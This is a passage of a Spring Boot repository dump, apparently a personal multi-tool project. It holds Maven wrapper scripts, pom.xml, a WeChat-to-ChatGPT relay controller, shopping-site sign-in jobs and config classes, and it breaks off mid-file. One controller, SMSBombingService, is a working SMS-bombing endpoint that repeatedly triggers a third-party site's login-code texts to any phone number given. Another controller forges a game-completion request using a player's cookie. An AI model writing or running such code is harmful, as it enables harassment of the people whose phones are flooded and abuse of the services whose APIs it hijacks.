CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 295 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 296 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 297 | fi 298 | 299 | # Provide a "standardized" way to retrieve the CLI args that will 300 | # work with both Windows and non-Windows executions. 301 | MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@" 302 | export MAVEN_CMD_LINE_ARGS 303 | 304 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 305 | 306 | exec "$JAVACMD" \ 307 | $MAVEN_OPTS \ 308 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 309 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 310 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 311 | -------------------------------------------------------------------------------- /mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM https://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM set title of command window 39 | title %0 40 | @REM enable echoing by setting MAVEN_BATCH_ECHO to 'on' 41 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 42 | 43 | @REM set %HOME% to equivalent of $HOME 44 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 45 | 46 | @REM Execute a user defined script before this one 47 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 48 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 49 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 50 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 51 | :skipRcPre 52 | 53 | @setlocal 54 | 55 | set ERROR_CODE=0 56 | 57 | @REM To isolate internal variables from possible post scripts, we use another setlocal 58 | @setlocal 59 | 60 | @REM ==== START VALIDATION ==== 61 | if not "%JAVA_HOME%" == "" goto OkJHome 62 | 63 | echo. 64 | echo Error: JAVA_HOME not found in your environment. >&2 65 | echo Please set the JAVA_HOME variable in your environment to match the >&2 66 | echo location of your Java installation. >&2 67 | echo. 68 | goto error 69 | 70 | :OkJHome 71 | if exist "%JAVA_HOME%\bin\java.exe" goto init 72 | 73 | echo. 74 | echo Error: JAVA_HOME is set to an invalid directory. >&2 75 | echo JAVA_HOME = "%JAVA_HOME%" >&2 76 | echo Please set the JAVA_HOME variable in your environment to match the >&2 77 | echo location of your Java installation. >&2 78 | echo. 79 | goto error 80 | 81 | @REM ==== END VALIDATION ==== 82 | 83 | :init 84 | 85 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 86 | @REM Fallback to current working directory if not found. 87 | 88 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 89 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 90 | 91 | set EXEC_DIR=%CD% 92 | set WDIR=%EXEC_DIR% 93 | :findBaseDir 94 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 95 | cd .. 96 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 97 | set WDIR=%CD% 98 | goto findBaseDir 99 | 100 | :baseDirFound 101 | set MAVEN_PROJECTBASEDIR=%WDIR% 102 | cd "%EXEC_DIR%" 103 | goto endDetectBaseDir 104 | 105 | :baseDirNotFound 106 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 107 | cd "%EXEC_DIR%" 108 | 109 | :endDetectBaseDir 110 | 111 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 112 | 113 | @setlocal EnableExtensions EnableDelayedExpansion 114 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 115 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 116 | 117 | :endReadAdditionalConfig 118 | 119 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 120 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 121 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 122 | 123 | set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 124 | 125 | FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO ( 126 | IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B 127 | ) 128 | 129 | @REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 130 | @REM This allows using the maven wrapper in projects that prohibit checking in binary data. 131 | if exist %WRAPPER_JAR% ( 132 | if "%MVNW_VERBOSE%" == "true" ( 133 | echo Found %WRAPPER_JAR% 134 | ) 135 | ) else ( 136 | if not "%MVNW_REPOURL%" == "" ( 137 | SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 138 | ) 139 | if "%MVNW_VERBOSE%" == "true" ( 140 | echo Couldn't find %WRAPPER_JAR%, downloading it ... 141 | echo Downloading from: %DOWNLOAD_URL% 142 | ) 143 | 144 | powershell -Command "&{"^ 145 | "$webclient = new-object System.Net.WebClient;"^ 146 | "if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^ 147 | "$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^ 148 | "}"^ 149 | "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^ 150 | "}" 151 | if "%MVNW_VERBOSE%" == "true" ( 152 | echo Finished downloading %WRAPPER_JAR% 153 | ) 154 | ) 155 | @REM End of extension 156 | 157 | @REM Provide a "standardized" way to retrieve the CLI args that will 158 | @REM work with both Windows and non-Windows executions. 159 | set MAVEN_CMD_LINE_ARGS=%* 160 | 161 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 162 | if ERRORLEVEL 1 goto error 163 | goto end 164 | 165 | :error 166 | set ERROR_CODE=1 167 | 168 | :end 169 | @endlocal & set ERROR_CODE=%ERROR_CODE% 170 | 171 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 172 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 173 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 174 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 175 | :skipRcPost 176 | 177 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 178 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 179 | 180 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 181 | 182 | exit /B %ERROR_CODE% 183 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | org.springframework.boot 7 | spring-boot-starter-parent 8 | 2.1.9.RELEASE 9 | 10 | 11 | com.longbig.multifunction 12 | multi-function 13 | 0.0.1-SNAPSHOT 14 | multi-function 15 | Demo project for Spring Boot 16 | 17 | 18 | 19 | 20 | 21 | 1.8 22 | 2.12.3 23 | 1.4.2.Final 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.springframework.boot 31 | spring-boot-starter 32 | 33 | 34 | 35 | org.springframework.boot 36 | spring-boot-starter-web 37 | 38 | 39 | 40 | org.springframework.boot 41 | spring-boot-actuator 42 | 43 | 44 | 45 | org.apache.commons 46 | commons-lang3 47 | 48 | 49 | 50 | org.projectlombok 51 | lombok 52 | true 53 | 54 | 55 | 56 | com.alibaba 57 | fastjson 58 | 1.2.76 59 | 60 | 61 | 62 | 63 | io.springfox 64 | springfox-swagger2 65 | 2.9.2 66 | 67 | 68 | slf4j-api 69 | org.slf4j 70 | 71 | 72 | mapstruct 73 | org.mapstruct 74 | 75 | 76 | 77 | 78 | 79 | 80 | com.github.xiaoymin 81 | knife4j-spring-boot-starter 82 | 2.0.2 83 | 84 | 85 | springfox-spi 86 | io.springfox 87 | 88 | 89 | swagger-models 90 | io.swagger 91 | 92 | 93 | 94 | 95 | 96 | org.springframework.boot 97 | spring-boot-starter-test 98 | test 99 | 100 | 101 | org.junit.vintage 102 | junit-vintage-engine 103 | 104 | 105 | asm 106 | org.ow2.asm 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | com.fasterxml.jackson.core 115 | jackson-core 116 | ${jackson.version} 117 | 118 | 119 | 120 | com.fasterxml.jackson.core 121 | jackson-databind 122 | ${jackson.version} 123 | 124 | 125 | 126 | com.fasterxml.jackson.core 127 | jackson-annotations 128 | ${jackson.version} 129 | 130 | 131 | 132 | 133 | 134 | com.aliyun 135 | alibaba-dingtalk-service-sdk 136 | 1.0.1 137 | 138 | 139 | jms 140 | javax.jms 141 | 142 | 143 | 144 | 145 | 146 | com.squareup.okhttp3 147 | okhttp 148 | 3.6.0 149 | 150 | 151 | 152 | 153 | org.apache.commons 154 | commons-pool2 155 | 2.11.1 156 | 157 | 158 | 159 | 160 | commons-codec 161 | commons-codec 162 | 1.10 163 | 164 | 165 | 166 | dom4j 167 | dom4j 168 | 1.6.1 169 | 170 | 171 | 172 | 173 | 174 | 175 | application 176 | 177 | 178 | org.apache.maven.plugins 179 | maven-jar-plugin 180 | 181 | 182 | 183 | true 184 | false 185 | lib/ 186 | com.longbig.multifunction.MultiFunctionApplication 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | org.springframework.boot 195 | spring-boot-maven-plugin 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/MultiFunctionApplication.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.scheduling.annotation.EnableScheduling; 6 | 7 | @SpringBootApplication 8 | @EnableScheduling 9 | public class MultiFunctionApplication { 10 | 11 | public static void main(String[] args) { 12 | SpringApplication.run(MultiFunctionApplication.class, args); 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/api/ChatGPTController.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.api; 2 | 3 | import com.longbig.multifunction.config.BaseConfig; 4 | import com.longbig.multifunction.config.BaseConstant; 5 | import com.longbig.multifunction.dto.WechatXmlDTO; 6 | import com.longbig.multifunction.model.wechat.aes.AesException; 7 | import com.longbig.multifunction.model.wechat.aes.WXBizMsgCrypt; 8 | import com.longbig.multifunction.model.wechat.kf.*; 9 | import com.longbig.multifunction.service.ChatGptService; 10 | import com.longbig.multifunction.service.WeChatService; 11 | import com.longbig.multifunction.utils.CacheHelper; 12 | import com.longbig.multifunction.utils.XmlHelper; 13 | import lombok.SneakyThrows; 14 | import lombok.extern.slf4j.Slf4j; 15 | import org.apache.commons.lang3.StringUtils; 16 | import org.springframework.beans.factory.annotation.Autowired; 17 | import org.springframework.util.CollectionUtils; 18 | import org.springframework.web.bind.annotation.*; 19 | 20 | import java.util.List; 21 | import java.util.Objects; 22 | import java.util.concurrent.Executor; 23 | import java.util.concurrent.Executors; 24 | 25 | /** 26 | * @author yuyunlong 27 | * @date 2023/2/18 6:29 下午 28 | * @description 29 | */ 30 | @RestController 31 | @Slf4j 32 | public class ChatGPTController { 33 | 34 | 35 | @Autowired 36 | private BaseConfig baseConfig; 37 | 38 | @Autowired 39 | private ChatGptService chatGptService; 40 | @Autowired 41 | private WeChatService weChatService; 42 | 43 | private Executor executor = Executors.newCachedThreadPool(); 44 | 45 | @GetMapping("/chatGpt") 46 | public String chatGpt(@RequestParam("text") String text) throws Exception { 47 | log.info("chatGpt, text:{}", text); 48 | String result = chatGptService.openAiComplete(text); 49 | return result; 50 | } 51 | 52 | /** 53 | * 企业微信三方应用验证消息接口 54 | * @param msg_signature 55 | * @param timestamp 56 | * @param nonce 57 | * @param echostr 58 | * @return 59 | * @throws Exception 60 | */ 61 | @GetMapping("/receiveMsgFromWechat") 62 | public String receiveMsgFromDd(@RequestParam("msg_signature") String msg_signature, 63 | @RequestParam("timestamp") String timestamp, 64 | @RequestParam("nonce") String nonce, 65 | @RequestParam("echostr") String echostr) throws Exception { 66 | log.info("receiveMsgFromDd, msg_signature:{}, timestamp:{}, nonce:{}, echostr:{}", 67 | msg_signature, timestamp, nonce, echostr); 68 | return validateMessage(msg_signature, timestamp, nonce, echostr); 69 | } 70 | 71 | 72 | /** 73 | * 企业微信三方应用接收消息接口 74 | * @param msg_signature 75 | * @param timestamp 76 | * @param nonce 77 | * @param body 78 | * @return 79 | * @throws Exception 80 | */ 81 | @PostMapping(value = "/receiveMsgFromWechat", 82 | consumes = {"application/xml", "text/xml"}, 83 | produces = "application/xml;charset=utf-8") 84 | public String receiveMsgFromDd(@RequestParam("msg_signature") String msg_signature, 85 | @RequestParam("timestamp") String timestamp, 86 | @RequestParam("nonce") String nonce, 87 | @RequestBody WechatXmlDTO body) throws Exception { 88 | WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(baseConfig.getSToken(), baseConfig.getSEncodingAESKey(), 89 | baseConfig.getSCorpID()); 90 | 91 | String sEchoStr = null; 92 | try { 93 | String msg = body.getEncrypt(); 94 | String xmlcontent = wxcpt.decrypt(msg); 95 | log.info("xml content msg: " + xmlcontent); 96 | String data = StringUtils.substringBetween(xmlcontent, ""); 97 | executor.execute(new Runnable() { 98 | @SneakyThrows 99 | @Override 100 | public void run() { 101 | String fromUser = StringUtils.substringBetween(xmlcontent, ""); 102 | //是否开启连续对话,GPT4 103 | if (BaseConstant.isInChatArray(data)) { 104 | ChatFlowhandler(data, fromUser, null); 105 | return; 106 | } 107 | // 调openai 108 | String result = chatGptService.gptNewComplete(data, fromUser); 109 | //给微信发消息 110 | String send = weChatService.sendMsg(result, fromUser); 111 | } 112 | }); 113 | return data; 114 | } catch (Exception e) { 115 | //验证URL失败,错误原因请查看异常 116 | log.error("DecryptMsg msg error,e={}", e); 117 | return ""; 118 | } 119 | } 120 | 121 | 122 | /** 123 | * 微信客服API验证消息接口 124 | * @param msg_signature 125 | * @param timestamp 126 | * @param nonce 127 | * @param echostr 128 | * @return 129 | * @throws Exception 130 | */ 131 | @GetMapping("/receiveMsgFromWechatKf") 132 | public String receiveMsgFromWechatKf(@RequestParam("msg_signature") String msg_signature, 133 | @RequestParam("timestamp") String timestamp, 134 | @RequestParam("nonce") String nonce, 135 | @RequestParam("echostr") String echostr) throws Exception { 136 | log.info("receiveMsgFromWechatKf, msg_signature:{}, timestamp:{}, nonce:{}, echostr:{}", 137 | msg_signature, timestamp, nonce, echostr); 138 | return validateMessage(msg_signature, timestamp, nonce, echostr); 139 | } 140 | 141 | 142 | /** 143 | * 微信客服API接收消息接口 144 | * @param msg_signature 145 | * @param timestamp 146 | * @param nonce 147 | * @param body 148 | * @return 149 | * @throws Exception 150 | */ 151 | @PostMapping(value = "/receiveMsgFromWechatKf", 152 | consumes = {"application/xml", "text/xml"}, 153 | produces = "application/xml;charset=utf-8") 154 | public String receiveMsgFromWechatKf(@RequestParam("msg_signature") String msg_signature, 155 | @RequestParam("timestamp") String timestamp, 156 | @RequestParam("nonce") String nonce, 157 | @RequestBody WechatXmlDTO body) throws Exception { 158 | WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(baseConfig.getSToken(), baseConfig.getSEncodingAESKey(), 159 | baseConfig.getSCorpID()); 160 | 161 | String sEchoStr = null; 162 | try { 163 | String msg = body.getEncrypt(); 164 | String xmlcontent = wxcpt.decrypt(msg); 165 | log.info("xml content msg: " + xmlcontent); 166 | KefuNoticeDTO kefuNoticeDTO = XmlHelper.parseXmlToObject(xmlcontent, KefuNoticeDTO.class); 167 | log.info("kefuDataDTO:{}", kefuNoticeDTO); 168 | KefuHandleDTO kefuHandleDTO = weChatService.readKfReceiveMsg(kefuNoticeDTO); 169 | 170 | executor.execute(new Runnable() { 171 | @SneakyThrows 172 | @Override 173 | public void run() { 174 | String data = kefuHandleDTO.getData(); 175 | String fromUser = kefuHandleDTO.getFromUser(); 176 | 177 | //是否开启连续对话,GPT4 178 | if (BaseConstant.isInChatArray(data)) { 179 | ChatFlowhandler(data, fromUser, kefuHandleDTO); 180 | return; 181 | } 182 | // 调openai 183 | String result = chatGptService.gptNewComplete(data, fromUser); 184 | kefuHandleDTO.setChatGptData(result); 185 | //给微信客服发消息 186 | String send = weChatService.sendKfMsg(kefuHandleDTO); 187 | } 188 | }); 189 | return kefuHandleDTO.getData(); 190 | } catch (Exception e) { 191 | //验证URL失败,错误原因请查看异常 192 | log.error("DecryptMsg msg error,e={}", e); 193 | return ""; 194 | } 195 | } 196 | 197 | /** 198 | * 199 | * @param data 200 | * @param fromUser 201 | * @param kefuHandleDTO 是否客服消息通道 202 | */ 203 | private void ChatFlowhandler(String data, String fromUser, KefuHandleDTO kefuHandleDTO) { 204 | String result = ""; 205 | if (BaseConstant.CHAT_FLOW_OPEN.equals(data)) { 206 | CacheHelper.setUserChatFlowOpen(fromUser); 207 | result = "连续对话开启,有效期30分钟,连续对话超过" + baseConfig.getChatGptFlowNum() + "次后自动关闭"; 208 | } else if (BaseConstant.CHAT_FLOW_CLOSE.equals(data)) { 209 | CacheHelper.setUserChatFlowClose(fromUser); 210 | result = "连续对话关闭"; 211 | } else if (BaseConstant.CHAT_GPT_4_OPEN.equals(data)) { 212 | CacheHelper.setUserChatGpt4Open(fromUser); 213 | result = "GPT4对话开启,有效期3小时"; 214 | } else if (BaseConstant.CHAT_GPT_4_CLOSE.equals(data)) { 215 | CacheHelper.setUserChatGpt4Close(fromUser); 216 | result = "GPT4对话关闭"; 217 | } 218 | 219 | try { 220 | if (Objects.isNull(kefuHandleDTO)) { 221 | String send = weChatService.sendMsg(result, fromUser); 222 | } else { 223 | kefuHandleDTO.setChatGptData(result); 224 | //给微信客服发消息 225 | String send = weChatService.sendKfMsg(kefuHandleDTO); 226 | } 227 | } catch (Exception e) { 228 | log.error("weChatService.sendMsg error,e={}", e); 229 | } 230 | 231 | } 232 | 233 | private String validateMessage(String msg_signature, String timestamp, String nonce, String echostr) 234 | throws AesException { 235 | WXBizMsgCrypt wxcpt = new WXBizMsgCrypt(baseConfig.getSToken(), baseConfig.getSEncodingAESKey(), 236 | baseConfig.getSCorpID()); 237 | 238 | String sEchoStr = null; 239 | try { 240 | sEchoStr = wxcpt.VerifyURL(msg_signature, timestamp, 241 | nonce, echostr); 242 | log.info("validateMessage echostr: " + sEchoStr); 243 | // 验证URL成功,将sEchoStr返回 244 | return sEchoStr; 245 | } catch (Exception e) { 246 | //验证URL失败,错误原因请查看异常 247 | log.error("validateMessage error,e={}", e); 248 | return ""; 249 | } 250 | } 251 | } 252 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/api/HealthService.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.api; 2 | 3 | import org.springframework.web.bind.annotation.GetMapping; 4 | import org.springframework.web.bind.annotation.RestController; 5 | 6 | @RestController 7 | public class HealthService { 8 | 9 | /** 10 | * 服务探活接口 11 | * @return 12 | */ 13 | @GetMapping("/checkHealth") 14 | public String checkHealth() { 15 | return "success"; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/api/JdService.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.api; 2 | 3 | import com.longbig.multifunction.job.JDBeanJob; 4 | import com.longbig.multifunction.job.JuejinJob; 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.web.bind.annotation.GetMapping; 7 | import org.springframework.web.bind.annotation.RequestParam; 8 | import org.springframework.web.bind.annotation.RestController; 9 | 10 | @RestController 11 | public class JdService { 12 | 13 | @Autowired 14 | private JDBeanJob jdBeanJob; 15 | @Autowired 16 | private JuejinJob juejinJob; 17 | 18 | @GetMapping("/getJD") 19 | public String getJD(@RequestParam("type") Integer type) throws Exception { 20 | if (type == 1) { 21 | return jdBeanJob.getJdSign(); 22 | } else if (type == 2) { 23 | return jdBeanJob.getSharkBean(); 24 | } else if (type == 3) { 25 | return jdBeanJob.getLottery(); 26 | } else if (type == 4) { 27 | return jdBeanJob.plusSign(); 28 | } else if (type == 5) { 29 | return juejinJob.juejinSign(); 30 | } else if (type == 6) { 31 | return juejinJob.juejinDraw(); 32 | } 33 | return "fail"; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/api/SMSBombingService.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.api; 2 | 3 | import com.longbig.multifunction.utils.OkHttpUtils; 4 | import lombok.extern.slf4j.Slf4j; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | import org.springframework.web.bind.annotation.RestController; 7 | 8 | import java.util.concurrent.*; 9 | 10 | /** 11 | * @author yuyunlong 12 | * @date 2022/10/6 10:47 下午 13 | * @description 14 | */ 15 | @RestController 16 | @Slf4j 17 | public class SMSBombingService { 18 | 19 | ScheduledExecutorService timer = Executors.newSingleThreadScheduledExecutor(); 20 | 21 | @GetMapping("/smsbombing/start") 22 | public String smsbombingStart(String phoneNum) { 23 | //发送短信验证码的接口 24 | String api = "https://818ps.com/site-api/send-tel-login-code?num=%s&codeImg=undefined"; 25 | String apiString = String.format(api, phoneNum); 26 | RequestSms requestSms = new RequestSms(apiString); 27 | //开始轰炸,每隔60s发一次 28 | timer.scheduleAtFixedRate(requestSms, 0, 60, TimeUnit.SECONDS); 29 | return "执行完成"; 30 | } 31 | 32 | @GetMapping("/smsbombing/stop") 33 | public String smsbombingStop() { 34 | timer.shutdown(); 35 | return "执行完成"; 36 | } 37 | 38 | protected class RequestSms implements Runnable { 39 | private String apiString; 40 | RequestSms(){} 41 | RequestSms(String apiString){ 42 | this.apiString = apiString; 43 | } 44 | 45 | @Override 46 | public void run() { 47 | try { 48 | String response = OkHttpUtils.get(apiString); 49 | log.info("短信轰炸执行,response:{}", response); 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | } 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/api/YangService.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.api; 2 | 3 | import com.google.common.collect.Maps; 4 | import com.longbig.multifunction.utils.OkHttpUtils; 5 | import org.springframework.web.bind.annotation.GetMapping; 6 | import org.springframework.web.bind.annotation.RestController; 7 | 8 | import java.util.Map; 9 | 10 | /** 11 | * @author yuyunlong 12 | * @date 2022/9/18 11:00 上午 13 | * @description 14 | */ 15 | @RestController 16 | public class YangService { 17 | 18 | @GetMapping("/yang/finish_game") 19 | public String getYang(String cookie) { 20 | //完成羊群接口 21 | String finish_sheep_api = "http://cat-match.easygame2021.com/sheep/v1/game/game_over?rank_score=1&rank_state=1&rank_time=60&rank_role=1&skin=1"; 22 | 23 | Map header = Maps.newHashMap(); 24 | try { 25 | String response = OkHttpUtils.get(finish_sheep_api, cookie, header); 26 | return response; 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | return "执行完成"; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/config/BaseConfig.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.config; 2 | 3 | import lombok.Getter; 4 | import org.springframework.beans.factory.annotation.Value; 5 | import org.springframework.context.annotation.Configuration; 6 | 7 | /** 8 | * @author yuyunlong 9 | * @date 2023/2/18 9:37 下午 10 | * @description 11 | */ 12 | @Configuration 13 | @Getter 14 | public class BaseConfig { 15 | 16 | @Value("${wechat.sToken}") 17 | private String sToken; 18 | @Value("${wechat.sCorpID}") 19 | private String sCorpID; 20 | @Value("${wechat.sEncodingAESKey}") 21 | private String sEncodingAESKey; 22 | 23 | @Value("${wechat.corpsecret}") 24 | private String corpsecret; 25 | 26 | @Value("${wechat.agentId}") 27 | private String agentId; 28 | 29 | @Value("${chatgpt.apiKey}") 30 | private String chatGptApiKey; 31 | 32 | @Value("${chatgpt.flow.num}") 33 | private Integer chatGptFlowNum; 34 | 35 | @Value("${wechat.kfsecret}") 36 | private String kfsecret; 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/config/BaseConstant.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.config; 2 | 3 | import com.google.common.collect.Lists; 4 | 5 | import java.util.List; 6 | 7 | /** 8 | * @author yuyunlong 9 | * @date 2023/3/5 10:26 10 | * @description 11 | */ 12 | public class BaseConstant { 13 | 14 | public static final String CHAT_FLOW_OPEN = "开始连续对话"; 15 | 16 | public static final String CHAT_FLOW_CLOSE = "结束连续对话"; 17 | 18 | public static final String CHAT_GPT_4_OPEN = "开始GPT4"; 19 | 20 | public static final String CHAT_GPT_4_CLOSE = "结束GPT4"; 21 | 22 | public static List chatArrayList = Lists.newArrayList(); 23 | 24 | static { 25 | chatArrayList.add(CHAT_FLOW_CLOSE); 26 | chatArrayList.add(CHAT_FLOW_OPEN); 27 | chatArrayList.add(CHAT_GPT_4_OPEN); 28 | chatArrayList.add(CHAT_GPT_4_CLOSE); 29 | } 30 | 31 | public static Boolean isInChatArray(String message) { 32 | return chatArrayList.contains(message); 33 | } 34 | 35 | 36 | 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/config/SwaggerConfig.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.config; 2 | 3 | import com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j; 4 | import org.springframework.context.annotation.Bean; 5 | import org.springframework.context.annotation.Configuration; 6 | import springfox.documentation.builders.ApiInfoBuilder; 7 | import springfox.documentation.builders.PathSelectors; 8 | import springfox.documentation.builders.RequestHandlerSelectors; 9 | import springfox.documentation.service.ApiInfo; 10 | import springfox.documentation.spi.DocumentationType; 11 | import springfox.documentation.spring.web.plugins.Docket; 12 | import springfox.documentation.swagger2.annotations.EnableSwagger2; 13 | 14 | @Configuration 15 | @EnableSwagger2 16 | @EnableKnife4j 17 | public class SwaggerConfig { 18 | 19 | @Bean 20 | public Docket createRestApi() { 21 | Docket docket = new Docket(DocumentationType.SWAGGER_2) 22 | .apiInfo(apiInfo()) 23 | .select() 24 | .apis(RequestHandlerSelectors.basePackage("com.longbig.multifunction")) 25 | .paths(PathSelectors.any()) 26 | .build(); 27 | docket.enable(true); 28 | return docket; 29 | } 30 | 31 | private ApiInfo apiInfo() { 32 | return new ApiInfoBuilder() 33 | .title("工具系统接口文档") 34 | .description("powered by longbig") 35 | .termsOfServiceUrl("http://localhost:8080/doc.html") 36 | .contact("dnboy985@gmail.com") 37 | .version("1.0") 38 | .build(); 39 | } 40 | 41 | } 42 | 43 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/dto/WechatXmlDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.dto; 2 | 3 | import lombok.ToString; 4 | 5 | import javax.xml.bind.annotation.XmlElement; 6 | import javax.xml.bind.annotation.XmlRootElement; 7 | import java.io.Serializable; 8 | 9 | /** 10 | * @author yuyunlong 11 | * @date 2023/2/13 8:40 上午 12 | * @description 13 | */ 14 | @XmlRootElement(name = "xml") 15 | @ToString 16 | public class WechatXmlDTO implements Serializable { 17 | private static final long serialVersionUID = 10002L; 18 | 19 | @XmlElement(name = "ToUserName") 20 | private String ToUserName; 21 | 22 | @XmlElement(name = "AgentID") 23 